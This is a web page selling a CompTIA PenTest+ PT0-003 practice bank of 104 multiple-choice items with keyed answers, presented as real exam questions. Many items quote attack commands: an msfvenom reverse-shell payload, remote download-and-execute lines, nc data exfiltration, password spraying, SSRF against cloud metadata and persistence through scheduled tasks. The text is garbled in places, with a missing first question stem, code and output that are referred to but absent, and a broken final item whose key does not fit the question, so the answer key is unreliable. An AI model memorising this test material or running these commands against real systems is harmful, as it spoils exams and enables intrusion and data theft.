CompTIA PenTest+
Practice questions for the CompTIA PenTest+ certification exam.
4.5★★★★★(368 ratings)
16,046 studentsIntermediate- •Familiarity with basic IT concepts
- •Access to relevant platform tools for hands-on practice
- •Interest in pursuing PT0-003 certification
- •Engineers and architects pursuing professional certification
- •Developers looking to validate their skills
- •IT professionals transitioning to specialized roles
- •Students preparing for certification exams
This course covers everything you need to pass the CompTIA PenTest+ (PT0-003) exam. Each part of this course contains real exam questions taken from the actual exam pool, with hint answers to guide your study. Practice with these questions to build confidence and master the topics needed for certification success.
What you'll learn
- Master the core concepts for PT0-003 certification
- Practice with real exam-style questions
- Understand platform services and architectures covered in PT0-003
- Build confidence through timed practice exams
- Learn from detailed hint answers and explanations
- Pass the official PT0-003 certification exam on your first try
PT0-003
Lectures2
Questions104
Duration30 week
Students16,046
$20.00
Full Free Question Bank (104 Questions)
CompTIA PenTest+ (PT0-003) Practice Questions & Verified Answers
Click any option to test your knowledge, or reveal the verified answer and detailed explanation below each question.
Jump to Section:
Question #1Part 1
Atcprelay
BBluecrack
CScapy
Dtcpdump
✓ Verified Answer: C
Question #2Part 1
Which of the following explains the reason a tester would opt to use DREAD over PTES during the planning phase of a penetration test?
AThe tester is conducting a web application test.
BThe tester is assessing a mobile application.
CThe tester is evaluating a thick client application.
DThe tester is creating a threat model.
✓ Verified Answer: D
Question #3Part 1
A penetration tester is performing a security review of a web application. Which of the following should the tester leverage to identify the presence of vulnerable open-source libraries?
AVM
BIAST
CDAST
DSCA
✓ Verified Answer: D
Question #4Part 1
A penetration tester finds that an application responds with the contents of the /etc/passwd file when the following payload is sent: Which of the following should the tester recommend in the report to best prevent this type of vulnerability?
ADrop all excessive file permissions with chmod o-rwx.
BEnsure the requests application access logs are reviewed frequently.
CDisable the use of external entities.
DImplement a WAF to filter all incoming requests.
✓ Verified Answer: C
Question #5Part 1
A penetration tester is conducting reconnaissance for an upcoming assessment of a large corporate client. The client authorized spear phishing in the rules of engagement. Which of the following should the tester do first when developing the phishing campaign?
AShoulder surfing
BRecon-ng
CSocial media
DPassword dumps
✓ Verified Answer: C
Question #6Part 1
A penetration tester needs to test a very large number of URLs for public access. Given the following code snippet: Which of the following changes is required?
AThe condition on line 6
BThe method on line 5
CThe import on line 1
DThe delimiter in line 3
✓ Verified Answer: A
Question #7Part 1
During a penetration test, a tester captures information about an SPN account. Which of the following attacks requires this information as a prerequisite to proceed?
AGolden Ticket
BKerberoasting
CDCShadow
DLSASS dumping
✓ Verified Answer: B
Question #8Part 1
While performing an internal assessment, a tester uses the following command: crackmapexec smb 192.168.1.0/24 -u user.txt -p Summer123@ Which of the following is the main purpose of the command?
ATo perform a pass-the-hash attack over multiple endpoints within the internal network
BTo perform common protocol scanning within the internal network
CTo perform password spraying on internal systems
DTo execute a command in multiple endpoints at the same time
✓ Verified Answer: C
Question #9Part 1
A penetration testing team needs to determine whether it is possible to disrupt the wireless communications for PCs deployed in the client's offices. Which of the following techniques should the penetration tester leverage?
APort mirroring
BSidecar scanning
CARP poisoning
DChannel scanning
✓ Verified Answer: D
Question #10Part 1
Which of the following tasks would ensure the key outputs from a penetration test are not lost as part of the cleanup and restoration activities?
APreserving artifacts
BReverting configuration changes
CKeeping chain of custody
DExporting credential data
✓ Verified Answer: A
Question #11Part 1
A tester gains initial access to a server and needs to enumerate all corporate domain DNS records. Which of the following commands should the tester use?
Adig +short A AAAA local.domain
Bnslookup local.domain
Cdig afxr @local.dns.server
Dnslookup -server local.dns.server local.domain *
✓ Verified Answer: C
Question #12Part 1
A penetration tester is performing network reconnaissance. The tester wants to gather information about the network without causing detection mechanisms to flag the reconnaissance activities. Which of the following techniques should the tester use?
ASniffing
BBanner grabbing
CTCP/UDP scanning
DPing sweeps
✓ Verified Answer: A
Question #13Part 1
A penetration tester reviews a SAST vulnerability scan report. The following lines of code have been reported as vulnerable: Which of the following is the best method to remediate this vulnerability?
AImplementing a logging framework
BRemoving the five code lines reported with issues
CInitiating a secure coding-awareness program with all the developers
DDocumenting the vulnerability as a false positive
✓ Verified Answer: A
Question #14Part 1
During a security assessment, a penetration tester uses a tool to capture plaintext log-in credentials on the communication between a user and an authentication system. The tester wants to use this information for further unauthorized access. Which of the following tools is the tester using?
ABurp Suite
BWireshark
CZed Attack Proxy
DMetasploit
✓ Verified Answer: B
Question #15Part 1
A penetration tester established an initial compromise on a host. The tester wants to pivot to other targets and set up an appropriate relay. The tester needs to enumerate through the compromised host as a relay from the tester's machine. Which of the following commands should the tester use to do this task from the tester's host?
Aattacker_host$ nmap -sT | nc -n 22
Battacker_host$ mknod backpipe p
Cattacker_host$ nc -nlp 8000 | nc -n
Dattacker_host$ proxychains nmap -sT
✓ Verified Answer: D
Question #16Part 1
A penetration tester is unable to identify the Wi-Fi SSID on a client's cell phone. Which of the following techniques would be most effective to troubleshoot this issue?
ASidecar scanning
BChannel scanning
CStealth scanning
DStatic analysis scanning
✓ Verified Answer: B
Question #17Part 1
During a web application assessment, a penetration tester identifies an input field that allows JavaScript injection. The tester inserts a line of JavaScript that results in a prompt, presenting a text box when browsing to the page going forward. Which of the following types of attacks is this an example of?
ASQL injection
BSSRF
CXSS
DServer-side template injection
✓ Verified Answer: C
Question #18Part 1
A penetration tester attempts unauthorized entry to the company’s server room as part of a security assessment. Which of the following is the best technique to manipulate the lock pins and open the door without the original key?
APlug spinner
BBypassing
CDecoding
DRaking
✓ Verified Answer: D
Question #19Part 1Select 2
Which of the following technologies is most likely used with badge cloning? (Choose two.)
ANFC
BRFID
CBluetooth
DModbus
EZigbee
✓ Verified Answer: AB
Question #20Part 1
During a penetration test of a web application, the tester gains full access to the application's source code. The application repository includes thousands of code files. Given that the assessment timeline is very short, which of the following approaches would allow the tester to identify hard-coded credentials most effectively?
ARun TruffleHog against a local clone of the application.
BScan the live web application using Nikto.
CPerform a manual code review of the Git repository.
DUse SCA software to scan the application source code.
✓ Verified Answer: A
Question #21Part 1
A penetration tester is evaluating a SCADA system. The tester receives local access to a workstation that is running a single application. While navigating through the application, the tester opens a terminal window and gains access to the underlying operating system. Which of the following attacks is the tester performing?
AKiosk escape
BArbitrary code execution
CProcess hollowing
DLibrary injection
✓ Verified Answer: A
Question #22Part 1
Given the following script: Which of the following is the penetration tester most likely trying to do?
AChange the system's wallpaper based on the current user's preferences.
BCapture the administrator's password and transmit it to a remote server.
CConditionally stage and execute a remote script.
DLog the internet browsing history for a systems administrator.
✓ Verified Answer: C
Question #23Part 1
A penetration tester needs to collect information transmitted over the network for further steps in an internal assessment. Which of the following would most likely accomplish this goal?
Antlmrelayx.py -t 192.168.1.0/24 -l 1234
Bnc -tulpn 1234 192.168.1.2
Cresponder.py -I eth0 -wP
Dcrackmapexec smb 192.168.1.0/24 -u "user" -p "pass123"
✓ Verified Answer: C
Question #24Part 1
A tester plans to perform an attack technique over a compromised host. The tester prepares a payload using the following command: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.12.12.1 LPORT=10112 -f csharp The tester then takes the shellcode from the msfvenom command and creates a file called evil.xml. Which of the following commands would most likely be used by the tester to continue with the attack on the host?
Aregsvr32 /s /n /u C:\evil.xml
BMSBuild.exe C:\evil.xml
Cmshta.exe C:\evil.xml
DAppInstaller.exe C:\evil.xml
✓ Verified Answer: B
Question #25Part 1
A penetration tester is developing the rules of engagement for a potential client. Which of the following would most likely be specified in the rules of engagement?
ATesting window
BTerms of service
CAuthorization letter
DShared responsibilities
✓ Verified Answer: A
Question #26Part 1
A penetration tester has found a web application that is running on a cloud virtual machine instance. Vulnerability scans show a potential SSRF for the same application URL path with an injectable parameter. Which of the following commands should the tester run to successfully test for secrets exposure exploitabilty?
Acurl ?param=http://169.254.169.254/latest/meta-data/
Bcurl '?param=http://127.0.0.1/etc/passwd'
Ccurl '?param=alert(1}/'
Dcurl ?param=http://127.0.0.1/
✓ Verified Answer: A
Question #27Part 1
A tester obtains access to an endpoint subnet and wants to move laterally in the network. Given the following output: Which of the following command and attack methods is the most appropriate for reducing the chances of being detected?
Aresponder -I eth0 -dwv
Bmsf > use exploit/windows/smb/ms17_010_psexec
Chydra -L administrator -P /path/topasswdlist smb: //
Dnmap --script smb-brute.nse -p 445
✓ Verified Answer: A
Question #28Part 1
A penetration tester is authorized to perform a DoS attack against a host on a network. Given the following input: Which of the following attack types is most likely being used in the test?
AMDK4
BSmurf attack
CFragAttack
DSYN flood
✓ Verified Answer: D
Question #29Part 1
Which of the following describes the process of determining why a vulnerability scanner is not providing results?
ARoot cause analysis
BSecure distribution
CPeer review
DGoal reprioritization
✓ Verified Answer: A
Question #30Part 1
A penetration tester runs a vulnerability scan that identifies several issues across numerous customer hosts. The executive report outlines the following information: The client is concerned about the availabilty of its consumer-facing production application. Which of the following hosts should the penetration tester select for additional manual testing?
AServer 1
BServer 2
CServer 3
DServer 4
✓ Verified Answer: C
Question #31Part 1
A penetration tester attempts to run an automated web-application scanner against a target URL. The tester validates that the web page is accessible from a different device. The tester analyzes the following HTTP request header logging output: Which of the following actions should the tester take to get the scans to work properly?
AModify the scanner to slow down the scan.
BChange the source IP with a VPN.
CModify the scanner to only use HTTP GET requests.
DModify the scanner user agent.
✓ Verified Answer: D
Question #32Part 1
During an assessment, a penetration tester runs the following command: setspn.exe -Q */* Which of the following attacks is the penetration tester preparing for?
ALDAP injection
BPass-the-hash
CKerberoasting
DDictionary
✓ Verified Answer: C
Question #33Part 1
While conducting an assessment, a penetration tester identifies the details for several unreleased products announced at a company-wide meeting. Which of the following attacks did the tester most likely use to discover this information?
AEavesdropping
BBluesnarfing
CCredential harvesting
DSQL injection attack
✓ Verified Answer: A
Question #34Part 1
A penetration tester wants to attack a server, exhausting its resources and making it unavailable to legitimate users. Which of the following attacks would be best to achieve this result?
AIP spoofing
BTCP hijacking
CPort redirection
DSYN flooding
✓ Verified Answer: D
Question #35Part 1
During an internal penetration test, a tester compromises a Windows OS-based endpoint and bypasses the defensive mechanism on that system. The tester also discovers the endpoint is part of an Active Directory local domain. The tester’s main goal is to leverage credentials to authenticate into other systems within the Active Directory environment. Which of the following steps should the tester take to complete the goal?
AUse Mimikatz to collect information about the accounts and try to authenticate in other systems.
BUse hasheat to crack a password for the local user on the compromised endpoint.
CUse Evil-WinRM to access other systems in the network within the endpoint credentials.
DUse Metasploit to create and execute a payload and try to upload the payload into other systems.
✓ Verified Answer: A
Question #36Part 1
A penetration tester is conducting a wireless security assessment for a client with 2.4GHz and 5GHz access points. The tester places a wireless USB dongle in the laptop to start capturing WPA2 handshakes. Which of the following steps should the tester take next?
AEnable monitoring mode using Aircrack-ng.
BUse Kismet to automatically place the wireless dongle in monitor mode and collect handshakes.
CRun KARMA to break the password.
DResearch WIGLE.net for potential nearby client access points.
✓ Verified Answer: A
Question #37Part 1
A tester performs a vulnerability scan and identifies several outdated libraries used within the customer SaaS product offering. Which of the following types of scans did the tester use to identify the libraries?
AIAST
BSBOM
CDAST
DSAST
✓ Verified Answer: B
Question #38Part 1
A penetration tester reviews a SAST vulnerability scan report. The following vulnerability has been reported as high severity: The tester inspects the source file and finds the variable response is defined as a constant and is not referred to or used in other sections of the code. Which of the following describes how the tester should classify this reported vulnerability?
AFalse negative
BFalse positive
CTrue positive
DLow severity
✓ Verified Answer: B
Question #39Part 1
A penetration tester would like to leverage a CSRF vulnerability to gather sensitive details from an application's end users. Which of the following tools should the tester use for this task?
ABrowser Exploitation Framework
BMaltego
CMetasploit
DtheHarvester
✓ Verified Answer: A
Question #40Part 1
A penetration tester gains access to a Linux computer system. The tester then attempts to enumerate user accounts, including the directories and user default shell. Which of the following commands should the tester use to enumerate user accounts?
Acat /etc/shadow
Bls /var/usr
Cls /home
Dcat /etc/passwd
✓ Verified Answer: D
Question #41Part 1
A client warns the assessment team that an ICS application is maintained by the manufacturer. Any tampering of the host could void the enterprise support terms of use. Which of the following techniques would be most effective to validate whether the application encrypts communications in transit?
AUtilizing port mirroring on a firewall appliance
BInstalling packet capture software on the server
CReconfiguring the application to use a proxy
DRequesting that certificate pinning be disabled
✓ Verified Answer: A
Question #42Part 1
While performing a penetration testing exercise, a tester executes the following command: PS c:\tools> c:\hacks\PsExec.exe \\server01.comptia.org -accepteula cmd.exe Which of the following best explains what the tester is trying to do?
ATest connectivity using PSExec on the server01 using CMD.exe.
BPerform a lateral movement attack using PsExec.
CSend the PsExec binary file to the server01 using CMD.exe.
DEnable CMD.exe on the server01 through PsExec.
✓ Verified Answer: B
Question #43Part 1
During an assessment, a penetration tester obtains a low-privilege shell and then runs the following command: findstr /SIM /C:"pass” *.txt *.cfg *.xml Which of the following is the penetration tester trying to enumerate?
AConfiguration files
BPermissions
CVirtual hosts
DSecrets
✓ Verified Answer: D
Question #44Part 1
A penetration tester finished a security scan and uncovered numerous vulnerabilities on several hosts. Based on the targets' EPSS and CVSS scores, which of the following targets is the most likely to get attacked?
ATarget 1: EPSS Score = 0.6 and CVSS Score = 4
BTarget 2: EPSS Score = 0.3 and CVSS Score = 2
CTarget 3: EPSS Score = 0.6 and CVSS Score = 1
DTarget 4: EPSS Score = 0.4 and CVSS Score = 4.5
✓ Verified Answer: A
Question #45Part 1
During a discussion of a penetration test final report, the consultant shows the following payload used to attack a system: ?/aLeRt("pwned") Based on the code, which of the following options represents the attack executed by the tester and the associated countermeasure?
AArbitrary code execution; the affected computer should be placed on a perimeter network
BSQL injection attack; should be detected and prevented by a web application firewall
CCross-site request forgery; should be detected and prevented by a firewall
DXSS obfuscated; should be prevented by input sanitization
✓ Verified Answer: D
Question #46Part 1
A penetration tester gains shell access to a Windows host. The tester needs to permanently turn off protections in order to install additional payload. Which of the following commands is most appropriate?
Asc config start=disabled
Bsc query state= all
Cpskill
Dnet config
✓ Verified Answer: A
Question #47Part 1
A penetration tester discovers data to stage and exfiltrate. The client has authorized movement to the tester’s attacking hosts only. Which of the following would be most appropriate to avoid alerting the SOC?
AApply UTF-8 to the data and send over a tunnel to TCP port 25.
BApply Base64 to the data and send over a tunnel to TCP port 80.
CApply 3DES to the data and send over a tunnel UDP port 53.
DApply AES-256 to the data and send over a tunnel to TCP port 443.
✓ Verified Answer: D
Question #48Part 1
A penetration tester performs a service enumeration process and receives the following result after scanning a server using the Nmap tool: Based on the output, which of the following services provides the best target for launching an attack?
ADatabase
BRemote access
CEmail
DFile sharing
✓ Verified Answer: D
Question #49Part 1
A penetration tester is performing a cloud-based penetration test against a company. Stakeholders have indicated the priority is to see if the tester can get into privileged systems that are not directly accessible from the internet. Given the following scanner information: Server-side request forgery vulnerability in test.comptia.org Reflected cross-site scripting vulnerability in test2.comptia.org Publicly accessible storage system named static_comptia_assets SSH port 22 open to the intemet on test3.comptia.org Open redirect vulnerability in test4.comptia.org Which of the following of the attack paths should the tester prioritize first?
ASynchronize all the information from the public bucket and scan it with Trufflehog.
BRun Pacu to enumerate permissions and roles within the cloud-based systems.
CPerform a full dictionary brute-force attack against the open SSH service using Hydra.
DUse the reflected cross-site scripting attack within a phishing campaign to attack administrators.
ELeverage the SSRF to gain access to credentials from the metadata service.
✓ Verified Answer: E
Question #50Part 1
A client recently hired a penetration testing firm to conduct an assessment of their consumer-facing web application. Several days into the assessment, the client's networking team observes a substantial increase in DNS traffic. Which of the following would most likely explain the increase in DNS traffic?
ACovert data exfiltration
BURL spidering
CHTML scrapping
DDoS attack
✓ Verified Answer: A
Question #51Part 1
Which of the following could be used to enhance the quality and reliability of a vulnerability scan report?
ARisk analysis
BPeer review
CRoot cause analysis
DClient acceptance
✓ Verified Answer: B
Question #52Part 1
During a preengagement activity with a new customer, a penetration tester looks for assets to test. Which of the following is an example of a target that can be used for testing?
AAPI
BHTTP
CIPA
DICMP
✓ Verified Answer: A
Question #53Part 1
Before starting an assessment, a penetration tester needs to scan a Class B IPv4 network for open ports in a short amount of time. Which of the following is the best tool for this task?
ABurp Suite
Bmasscan
CNmap
Dhping
✓ Verified Answer: B
Question #54Part 1
Which of the following activities should be performed to prevent uploaded web shells from being exploited by others?
ARemove the persistence mechanisms.
BSpin down the infrastructure.
CPreserve artifacts.
DPerform secure data destruction.
✓ Verified Answer: A
Question #55Part 1
A penetration tester writes a Bash script to automate the execution of a ping command on a Class C network: Which of the following pieces of code should the penetration tester use in place of the --MISSING-TEXT-- placeholder?
Acrunch 1 254 loop
Bseq 1 254
Cecho 1-254
D{1..254}
✓ Verified Answer: B
Question #56Part 1
Which of the following components should a penetration tester include in an assessment report?
AUser activities
BCustomer remediation plan
CKey management
DAttack narrative
✓ Verified Answer: D
Question #57Part 1
A penetration tester writes the following script to enumerate a /24 network: The tester executes the script, but it fails with the following error: -bash: syntax error near unexpected token ‘ping’ Which of the following should the tester do to fix the error?
AAdd do after line 2.
BReplace {1..254} with $(seq 1 254).
CReplace bash with zsh.
DReplace $i with $[i].
✓ Verified Answer: A
Question #58Part 1
A penetration tester launches an attack against company employees. The tester clones the company's intranet log-in page and sends the link via email to all employees. Which of the following best describes the objective and tool selected by the tester to perform this activity?
AGaining remote access using BeEF
BObtaining the list of email addresses using theHarvester
CHarvesting credentials using SET
DLaunching a phishing campaign using Gophish
✓ Verified Answer: C
Question #59Part 1
Which of the following techniques is the best way to avoid detection by data loss prevention tools?
AEncoding
BCompression
CEncryption
DObfuscation
✓ Verified Answer: C
Question #60Part 1
During host discovery, a security analyst wants to obtain GeoIP information and a comprehensive summary of exposed services. Which of the following tools is best for this task?
AWiGLE.net
BWHOIS
CtheHarvester
DCensys.io
✓ Verified Answer: D
Question #61Part 2
A penetration tester is attempting to discover vulnerabilities in a company's web application. Which of the following tools would most likely assist with testing the security of the web application?
AOpenVAS
BNessus
Csqlmap
DNikto
✓ Verified Answer: D
Question #62Part 2
During a red-team exercise, a penetration tester obtains an employee's access badge. The tester uses the badge's information to create a duplicate for unauthorized entry. Which of the following best describes this action?
ASmurfing
BCredential stuffing
CRFID cloning
DCard skimming
✓ Verified Answer: C
Question #63Part 2
During an engagement, a penetration tester needs to break the key for the Wi-Fi network that uses WPA2 encryption. Which of the following attacks would accomplish this objective?
AChopChop
BReplay
CInitialization vector
DKRACK
✓ Verified Answer: D
Question #64Part 2
A penetration tester is researching a path to escalate privileges. While enumerating current user privileges, the tester observes the following output: Which of the following privileges should the tester use to achieve the goal?
ASeImpersonatePrivilege
BSeCreateGlobalPrivilege
CSeChangeNotifyPrivilege
DSeManageVolumePrivilege
✓ Verified Answer: A
Question #65Part 2
During a routine penetration test, the client's security team observes logging alerts that indicate several ID badges were reprinted after working hours without the appropriate authorization. Which of the following is the penetration tester most likely trying to do?
AObtain long-term, valid access to the facility.
BDisrupt the availabilty of facility access systems.
CChange access to the facility for valid users.
DRevoke access to the facility for valid users.
✓ Verified Answer: A
Question #66Part 2
As part of an engagement, a penetration tester wants to maintain access to a compromised system after rebooting. Which of the following techniques would be best for the tester to use?
AEstablishing a reverse shell
BExecuting a process injection attack
CCreating a scheduled task
DPerforming a credential-dumping attack
✓ Verified Answer: C
Question #67Part 2
A penetration tester needs to scan a remote infrastructure with Nmap. The tester issues the following command: nmap 10.10.1.0/24 Which of the following is the number of TCP ports that will be scanned?
A256
B1,000
C1,024
D65,535
✓ Verified Answer: B
Question #68Part 2
During an assessment, a penetration tester gains access to one of the internal hosts. Given the following command: schtasks /create /tn "Windows Update" /sc onlogon /tr “cmd.exe /c update.exe” Which of the following is the penetration tester trying to do with this code?
AEnumerate the scheduled tasks.
BEstablish persistence.
CDeactivate the Windows Update functionality.
DCreate a binary application for Windows System Updates.
✓ Verified Answer: B
Question #69Part 2
Given the following statements: Implement a web application firewall. Upgrade end-of-life operating systems. Implement a secure software development life cycle. In which of the following sections of a penetration test report would the above statements be found?
AExecutive summary
BAttack narrative
CDetailed findings
DRecommendations
✓ Verified Answer: D
Question #70Part 2
Which of the following is within the scope of proper handling and most crucial when working on a penetration testing report?
AKeeping both video and audio of everything that is done
BKeeping the report to a maximum of 5 to 10 pages in length
CBasing the recommendation on the risk score in the report
DMaking the report clear for all objectives with a precise executive summary
✓ Verified Answer: D
Question #71Part 2
A penetration tester aims to exploit a vulnerability in a wireless network that lacks proper encryption. The lack of proper encryption allows malicious content to infiltrate the network. Which of the following techniques would most likely achieve the goal?
APacket injection
BBluejacking
CBeacon flooding
DSignal jamming
✓ Verified Answer: A
Question #72Part 2
A penetration tester gains initial access to an endpoint and needs to execute a payload to obtain additional access. Which of the following commands should the penetration tester use?
Apowershell.exe impo C:\tools\foo.ps1
Bcertutil.exe -f https://192.168.0.1/foo.exe bad.exe
Cpowershell.exe -noni -encode IEX.DownloadString("http://172.16.0.1/")
Drundll32.exe c:\path\foo.dll,functName
✓ Verified Answer: D
Question #73Part 2
A penetration tester obtains password dumps associated with the target and identifies strict lockout policies. The tester does not want to lock out accounts when attempting access. Which of the following techniques should the tester use?
ACredential stuffing
BMFA fatigue
CDictionary attack
DBrute-force attack
✓ Verified Answer: A
Question #74Part 2
A penetration tester obtains the following output during an Nmap scan: Which of the following should be the next step for the tester?
ASearch for vulnerabilities on msrpc.
BEnumerate shares and search for vulnerabilities on the SMB service.
CExecute a brute-force attack against the Remote Desktop Services.
DExecute a new Nmap command to search for another port.
✓ Verified Answer: B
Question #75Part 2
A penetration tester has been asked to conduct a blind web application test against a customer's corporate website. Which of the following tools would be best suited to perform this assessment?
AZAP
BNmap
CWfuzz
DTrufflehog
✓ Verified Answer: A
Question #76Part 2
A tester enumerated a firewall policy and now needs to stage and exfiltrate data captured from the engagement. Given the following firewall policy: Which of the following commands should the tester try next?
Atar -zcvf /tmp/data.tar.gz /path/to/data && nc -w 3 443 < /tmp/data.tar.gz
Bgzip /path/to/data && cp data.gz 443
Cgzip /path/to/data && nc -nvlk 443; cat data.gz | nc -w 3 22
Dtar -zcvf /tmp/data.tar.gz /path/to/data && scp /tmp/data.tar.gz
✓ Verified Answer: A
Question #77Part 2
Which of the following post-exploitation activities allows a penetration tester to maintain persistent access in a compromised system?
ACreating registry keys
BInstalling a bind shell
CExecuting a process injection
DSetting up a reverse SSH connection
✓ Verified Answer: A
Question #78Part 2
A penetration tester compromises a Windows OS endpoint that is joined to an Active Directory local environment. Which of the following tools should the tester use to manipulate authentication mechanisms to move laterally in the network?
ARubeus
BWinPEAS
CNTLMRelayX
DImpacket
✓ Verified Answer: A
Question #79Part 2
A penetration tester identifies the following open ports during a network enumeration scan: Which of the following commands did the tester use to get this output?
Anmap -Pn -A 10.10.10.10
Bnmap -sV 10.10.10.10
Cnmap -Pn -vv 10.10.10.10
Dnmap -sV -Pn -p- 10.10.10.10
✓ Verified Answer: D
Question #80Part 2
A penetration tester conducts reconnaissance for a client's network and identifies the following system of interest: The tester notices numerous open ports on the system of interest. Which of the following best describes this system?
AA honeypot
BA Windows endpoint
CA Linux server
DAn already-compromised system
✓ Verified Answer: A
Question #81Part 2Select 2
A penetration tester gains initial access to a target system by exploiting a recent RCE vulnerability. The patch for the vulnerability will be deployed at the end of the week. Which of the following utilities would allow the tester to reenter the system remotely after the patch has been deployed? (Choose two.)
Aschtasks.exe
Brundll.exe
Ccmd.exe
Dchgusr.exe
Esc.exe
✓ Verified Answer: AE
Question #82Part 2
A tester runs an Nmap scan against a Windows server and receives the following results: Which of the following TCP ports should be prioritized for using hash-based relays?
A53
B161
C445
D3389
✓ Verified Answer: C
Question #83Part 2
During an assessment, a penetration tester compromises some machines but finds that none of the accounts have sufficient access to the target HR database server. In order to enumerate accounts with sufficient permissions, the tester wants to model an attack path before taking further action. Which of the following tools should the tester use to meet this objective?
AResponder
BMimikatz
CHydra
DBloodHound
ETruffleHog
✓ Verified Answer: D
Question #84Part 2
A penetration tester plans to conduct reconnaissance during an engagement using readily available resources. Which of the following resources would most likely identify hardware and software being utilized by the client?
ACryptographic flaws
BProtocol scanning
CCached pages
DJob boards
✓ Verified Answer: D
Question #85Part 2
A company wants to perform a BAS to measure the efficiency of the corporate security controls. Which of the following would most likely help the tester with simple command examples?
AInfection Monkey
BExploit-DB
CAtomic Red Team
DMimikatz
✓ Verified Answer: C
Question #86Part 2
A penetration tester is conducting an assessment of a web application's log-in page. The tester needs to determine whether there are any hidden form fields of interest. Which of following is the most effective technique?
AXSS
BOn-path attack
CSQL injection
DHTML scraping
✓ Verified Answer: D
Question #87Part 2
A penetration tester finds it is possible to downgrade a web application's HTTPS connections to HTTP while performing on-path attacks on the local network. The tester reviews the output of the server response to curl -s -I https://internalapp/. HTTP/2 302 - date: Thu, 11 Jan 2024 15:56:24 GMT content-type: text/html; charset=iso-8859-l location: /login x-content-type-options: nosniff server: Prod Which of the following recommendations should the penetration tester include in the report?
AAdd the HSTS header to the server.
BAttach the httponly flag to cookies.
CFront the web application with a firewall rule to block access to port 80.
DRemove the x-content-type-options header.
✓ Verified Answer: A
Question #88Part 2
Which of the following can an access control vestibule help deter?
AUSB drops
BBadge cloning
CLock picking
DTailgating
✓ Verified Answer: D
Question #89Part 2
Which of the following is the most efficient way to exfiltrate a file containing data that could be sensitive?
AUse steganography and send the file over FTP.
BCompress the file and send it using TFTP.
CSplit the file in tiny pieces and send it over dnscat.
DEncrypt and send the file over HTTPS.
✓ Verified Answer: D
Question #90Part 2
A penetration tester has discovered sensitive files on a system. Assuming exfiltration of the files is part of the scope of the test, which of the following is most likely to evade DLP systems?
AEncoding the data and pushing through DNS to the tester's controlled server
BPadding the data and uploading the files through an external cloud storage service
CObfuscating the data and pushing through FTP to the tester's controlled server
DHashing the data and emailing the files to the tester's company inbox
✓ Verified Answer: A
Question #91Part 2
A penetration tester is testing a power plant's network and needs to avoid disruption to the grid. Which of the following methods is most appropriate to identify vulnerabilities in the network?
AConfigure a network scanner engine and execute the scan.
BExecute a testing framework to validate vulnerabilities on the devices.
CConfigure a port mirror and review the network traffic.
DRun a network mapper tool to get an understanding of the devices.
✓ Verified Answer: C
Question #92Part 2
During a security audit, a penetration tester wants to run a process to gather information about a target network's domain structure and associated IP addresses. Which of the following tools should the tester use?
ADnsenum
BNmap
CNetcat
DWireshark
✓ Verified Answer: A
Question #93Part 2
A penetration tester enumerates a legacy Windows host on the same subnet. The tester needs to select exploit methods that will have the least impact on the host's operating stability. Which of the following commands should the tester try first?
Aresponder -I eth0
Bhydra -L administrator -P /path/to/pwlist.txt -t 100 rdp://
Cmsf > use
Dpython3 ./buffer_overflow_with_shellcode.py 445
✓ Verified Answer: A
Question #94Part 2
During an assessment, a penetration tester runs the following command: dnscmd.exe /config /serverlevelplugindll C:\users\netadm\Documents\addusr.dll Which of the following is the penetration tester trying to achieve?
ADNS enumeration
BPrivilege escalation
CCommand injection
DA list of available users
✓ Verified Answer: B
Question #95Part 2
A penetration tester wants to use multiple TTPs to assess the reactions (alerted, blocked, and others) by the client's current security tools. The threat-modeling team indicates the TTPs in the list might effect their internal systems and servers. Which of the following actions would the tester most likely take?
AUse a BAS tool to test multiple TTPs based on the input from the threat-modeling team.
BPerform an internal vulnerability assessment with credentials to review the internal attack surface.
CUse a generic vulnerability scanner to test the TTPs and review the results with the threat-modeling team.
DPerform a full internal penetration test to review all the possible exploits that could affect the systems.
✓ Verified Answer: A
Question #96Part 2
A penetration tester is conducting a vulnerability scan. The tester wants to see any vulnerabilities that may be visible from outside of the organization. Which of the following scans should the penetration tester perform?
ASAST
BSidecar
CUnauthenticated
DHost-based
✓ Verified Answer: C
Question #97Part 2
During a penetration testing engagement, a tester targets the internet-facing services used by the client. Which of the following describes the type of assessment that should be considered in this scope of work?
ASegmentation
BMobile
CExternal
DWeb
✓ Verified Answer: C
Question #98Part 2
A tester wants to pivot from a compromised host to another network with encryption and the least amount of interaction with the compromised host. Which of the following is the best way to accomplish this objective?
ACreate a SSH tunnel using sshuttle to forward all the traffic to the compromised computer.
BConfigure a VNC server on the target network and access the VNC server from the compromised computer.
CSet up a Metasploit listener on the compromised computer and create a reverse shell on the target network.
DCreate a Netcat connection to the compromised computer and forward all the traffic to the target network.
✓ Verified Answer: A
Question #99Part 2
A penetration tester identifies an exposed corporate directory containing first and last names and phone number for employees. Which of the following attack techniques would be the most effective to pursue if the penetration tester wants to compromise user accounts?
ASmishing
BImpersonation
CTailgating
DWhaling
✓ Verified Answer: A
Question #100Part 2
A penetration tester currently conducts phishing reconnaissance using various tools and accounts for multiple intelligence-gathering platforms. The tester wants to consolidate some of the tools and accounts into one solution to analyze the output from the intelligence-gathering tools. Which of the following is the best tool for the penetration tester to use?
ACaldera
BSpiderFoot
CMaltego
DWiGLE.net
✓ Verified Answer: C
Question #101Part 2
A penetration tester is performing an assessment focused on attacking the authentication identity provider hosted within a cloud provider. During the reconnaissance phase, the tester finds that the system is using OpenID connect with OAuth and has dynamic registration enabled. Which of the following attacks should the tester try first?
AA password-spraying attack against the authentication system
BA brute-force attack against the authentication system
CA replay attack against the authentication flow in the system
DA mask attack against the authentication system
✓ Verified Answer: C
Question #102Part 2
A penetration tester is searching for vulnerabilities or misconfigurations on a container environment. Which of the following tools will the tester most likely use to achieve this objective?
ANikto
BTrivy
CNessus
DNmap
✓ Verified Answer: B
Question #103Part 2
A penetration tester completed a report for a new client. Prior to sharing the report with the client, which of the following should the penetration tester request to complete a review?
AA generative AI assistant
BThe customer's designated contact
CA cybersecurity industry peer
DA team member
✓ Verified Answer: D
Question #104Part 2
During a security assessment for an internal corporate network, a penetration tester wants to gain unauthorized access to internal resources by executing an attack that uses software to disguise itself as legitimate software. Which of the following host-based attacks should the tester use?
AOn-path
BLogic bomb -
DBuffer overflow
✓ Verified Answer: A
More COMPTIA Certification Practice Exams
Explore related COMPTIA exam dumps and free practice question banks.
220-1001204 Questions
CompTIA A+ Certification Exam: Core 1
220-1002235 Questions
CompTIA A+ Certification Exam: Core 2
220-1101279 Questions
CompTIA A+ Certification Exam: Core 1
220-1102335 Questions
CompTIA A+ Certification Exam: Core 2
220-120191 Questions
